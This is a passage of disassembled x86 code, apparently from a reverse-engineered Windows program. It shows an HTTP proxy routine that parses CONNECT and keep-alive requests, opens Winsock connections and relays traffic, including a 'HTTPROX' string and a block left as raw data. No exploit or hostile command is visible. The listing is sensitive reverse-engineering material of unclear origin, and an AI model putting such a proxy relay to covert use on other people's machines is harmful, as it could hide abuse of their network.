		lea	eax, [esp+234h]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_44720C
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429765
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A5EF
		jmp	loc_42995A
; ---------------------------------------------------------------------------


loc_429765:				; CODE XREF: ___:004296E7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42995A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_42995A
		mov	dword ptr [esp+10Ch], 50h


loc_42995A:				; CODE XREF: ___:00429760j
					; ___:004297ACj ...
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5DE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5CD
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471E4 ; "\r\n"


loc_429A21:				; CODE XREF: ___:00429A3Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A45
		test	cl, cl
		jz	short loc_429A41
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A45
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A21


loc_429A41:				; CODE XREF: ___:00429A2Bj
		xor	eax, eax
		jmp	short loc_429A49
; ---------------------------------------------------------------------------


loc_429A45:				; CODE XREF: ___:00429A27j
					; ___:00429A35j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A49:				; CODE XREF: ___:00429A43j
		test	eax, eax
		jz	loc_429B23
		mov	edi, dword_511AD8


loc_429A57:				; CODE XREF: ___:00429B1Dj
		mov	esi, offset byte_448F30
		lea	eax, [esp+4498h]


loc_429A63:				; CODE XREF: ___:00429A81j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A87
		test	cl, cl
		jz	short loc_429A83
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A87
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A63


loc_429A83:				; CODE XREF: ___:00429A6Dj
		xor	eax, eax
		jmp	short loc_429A8B
; ---------------------------------------------------------------------------


loc_429A87:				; CODE XREF: ___:00429A69j
					; ___:00429A77j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A8B:				; CODE XREF: ___:00429A85j
		test	eax, eax
		jz	loc_429B23
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A629
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471E4 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+4498h]


loc_429AF3:				; CODE XREF: ___:00429B11j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429B17
		test	cl, cl
		jz	short loc_429B13
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429B17
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429AF3


loc_429B13:				; CODE XREF: ___:00429AFDj
		xor	eax, eax
		jmp	short loc_429B1B
; ---------------------------------------------------------------------------


loc_429B17:				; CODE XREF: ___:00429AF9j
					; ___:00429B07j
		sbb	eax, eax
		sbb	eax, ebx


loc_429B1B:				; CODE XREF: ___:00429B15j
		test	eax, eax
		jnz	loc_429A57


loc_429B23:				; CODE XREF: ___:00429A4Bj
					; ___:00429A8Dj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		push	offset asc_444C64 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_429B77
		cmp	byte ptr [eax],	20h
		jnz	short loc_429B5B


loc_429B52:				; CODE XREF: ___:00429B59j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429B52


loc_429B5B:				; CODE XREF: ___:00429B50j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429B7E
; ---------------------------------------------------------------------------


loc_429B77:				; CODE XREF: ___:00429B3Dj
					; ___:00429B4Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429B7E:				; CODE XREF: ___:00429B75j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429C16
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A6FD
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A63B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, ebx
		jz	loc_42A698


loc_429C16:				; CODE XREF: ___:00429B84j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A2BE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429C61
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429C94
; ---------------------------------------------------------------------------


loc_429C61:				; CODE XREF: ___:00429C2Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429C94:				; CODE XREF: ___:00429C5Fj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A70F
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471E4 ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429D5E:				; CODE XREF: ___:00429D7Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429D82
		test	cl, cl
		jz	short loc_429D7E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429D82
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D5E


loc_429D7E:				; CODE XREF: ___:00429D68j
		xor	eax, eax
		jmp	short loc_429D87
; ---------------------------------------------------------------------------


loc_429D82:				; CODE XREF: ___:00429D64j
					; ___:00429D72j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D87:				; CODE XREF: ___:00429D80j
		test	eax, eax
		jz	loc_42A109


loc_429D8F:				; CODE XREF: ___:0042A0F8j
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429D9B:				; CODE XREF: ___:00429DBDj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		test	cl, cl
		jz	short loc_429DBF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D9B


loc_429DBF:				; CODE XREF: ___:00429DA7j
		xor	eax, eax
		jmp	short loc_429DC8
; ---------------------------------------------------------------------------


loc_429DC3:				; CODE XREF: ___:00429DA3j
					; ___:00429DB3j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429DC8:				; CODE XREF: ___:00429DC1j
		test	eax, eax
		jz	loc_42A105
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A100
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429EAA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429EAA:				; CODE XREF: ___:00429E5Cj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429F39:				; CODE XREF: ___:00429EF4j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429FD4
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429FD4:				; CODE XREF: ___:00429F83j
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+498h]


loc_429FE0:				; CODE XREF: ___:0042A002j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		test	cl, cl
		jz	short loc_42A004
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429FE0


loc_42A004:				; CODE XREF: ___:00429FECj
		xor	eax, eax
		jmp	short loc_42A00D
; ---------------------------------------------------------------------------


loc_42A008:				; CODE XREF: ___:00429FE8j
					; ___:00429FF8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A00D:				; CODE XREF: ___:0042A006j
		test	eax, eax
		jz	loc_42A0A9
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_42A021:				; CODE XREF: ___:0042A043j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		test	cl, cl
		jz	short loc_42A045
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A021


loc_42A045:				; CODE XREF: ___:0042A02Dj
		xor	eax, eax
		jmp	short loc_42A04E
; ---------------------------------------------------------------------------


loc_42A049:				; CODE XREF: ___:0042A029j
					; ___:0042A039j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A04E:				; CODE XREF: ___:0042A047j
		test	eax, eax
		jz	short loc_42A0A9
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A0A9:				; CODE XREF: ___:0042A00Fj
					; ___:0042A050j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+498h]


loc_42A0C9:				; CODE XREF: ___:0042A0EBj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		test	cl, cl
		jz	short loc_42A0ED
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A0C9


loc_42A0ED:				; CODE XREF: ___:0042A0D5j
		xor	eax, eax
		jmp	short loc_42A0F6
; ---------------------------------------------------------------------------


loc_42A0F1:				; CODE XREF: ___:0042A0D1j
					; ___:0042A0E1j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A0F6:				; CODE XREF: ___:0042A0EFj
		test	eax, eax
		jnz	loc_429D8F
		jmp	short loc_42A105
; ---------------------------------------------------------------------------


loc_42A100:				; CODE XREF: ___:00429DF0j
		mov	byte ptr [esp+12h], 1


loc_42A105:				; CODE XREF: ___:00429DCAj
					; ___:0042A0FEj
		mov	ebx, [esp+2Ch]


loc_42A109:				; CODE XREF: ___:00429D89j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A131
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A14D
; ---------------------------------------------------------------------------


loc_42A131:				; CODE XREF: ___:0042A111j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A14D:				; CODE XREF: ___:0042A12Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_42A27C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A204


loc_42A1B3:				; CODE XREF: ___:0042A202j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A204
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A204
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A204
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A1B3


loc_42A204:				; CODE XREF: ___:0042A1B1j
					; ___:0042A1BCj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A24E


loc_42A20A:				; CODE XREF: ___:0042A24Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A24E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A24E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A20A


loc_42A24E:				; CODE XREF: ___:0042A208j
					; ___:0042A227j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A4DF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A4E2
; ---------------------------------------------------------------------------


loc_42A27C:				; CODE XREF: ___:0042A1A7j
		mov	esi, dword_511CA4


loc_42A282:				; CODE XREF: ___:0042A2BCj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_42A24E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A24E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		jmp	short loc_42A282
; ---------------------------------------------------------------------------


loc_42A2BE:				; CODE XREF: ___:00429C1Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A782
		cmp	eax, ebx
		jz	loc_42A782
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A330:				; CODE XREF: ___:0042A33Bj
		cmp	[ecx], edx
		jz	short loc_42A33D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A330


loc_42A33D:				; CODE XREF: ___:0042A332j
		cmp	eax, 1
		jnz	short loc_42A354
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A354:				; CODE XREF: ___:0042A340j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE72h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h
		dd 75000027h, 0E8016A0Dh, 23F7922h, 0FE43E990h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A4DF:				; CODE XREF: ___:0042A256j
		or	esi, 0FFFFFFFFh


loc_42A4E2:				; CODE XREF: ___:0042A277j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A502
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A502:				; CODE XREF: ___:0042A4E8j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A570:				; CODE XREF: ___:0042969Bj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_4295E8


loc_42A57C:				; CODE XREF: ___:0042A624j
					; ___:0042A77Dj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A599
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_42A599:				; CODE XREF: ___:0042A584j
		mov	al, [esp+11h]
		test	al, al
